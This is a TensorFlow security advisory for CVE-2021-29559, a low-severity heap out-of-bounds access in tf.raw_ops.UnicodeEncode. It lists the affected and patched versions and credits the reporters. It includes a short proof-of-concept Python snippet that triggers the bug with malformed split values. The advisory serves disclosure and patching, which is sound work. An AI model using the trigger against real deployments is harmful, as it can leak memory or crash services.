

# Heap OOB access in unicode ops

**Low** mihairmaruseac published GHSA-59q2-x2qc-4c97 on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions

< 2.5.0

Patched versions

2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

An attacker can access data outside of bounds of heap allocated array in `tf.raw_ops.UnicodeEncode` :

```
import tensorflow as tf

input_values = tf.constant([58], shape=[1], dtype=tf.int32)
input_splits = tf.constant([[81, 101, 0]], shape=[3], dtype=tf.int32)
output_encoding = "UTF-8"

tf.raw_ops.UnicodeEncode(
    input_values=input_values, input_splits=input_splits,
    output_encoding=output_encoding)
```

This is because the [implementation](#) assumes that the `input_value` / `input_splits` pair specify a valid sparse tensor.

Patches

We have patched the issue in GitHub commit [51300ba1cc2f487aefec6e6631fef03b0e08b298](#).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult [our security guide](#) for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Severity

**Low**

CVE ID

CVE-2021-29559

Weaknesses

No CWEs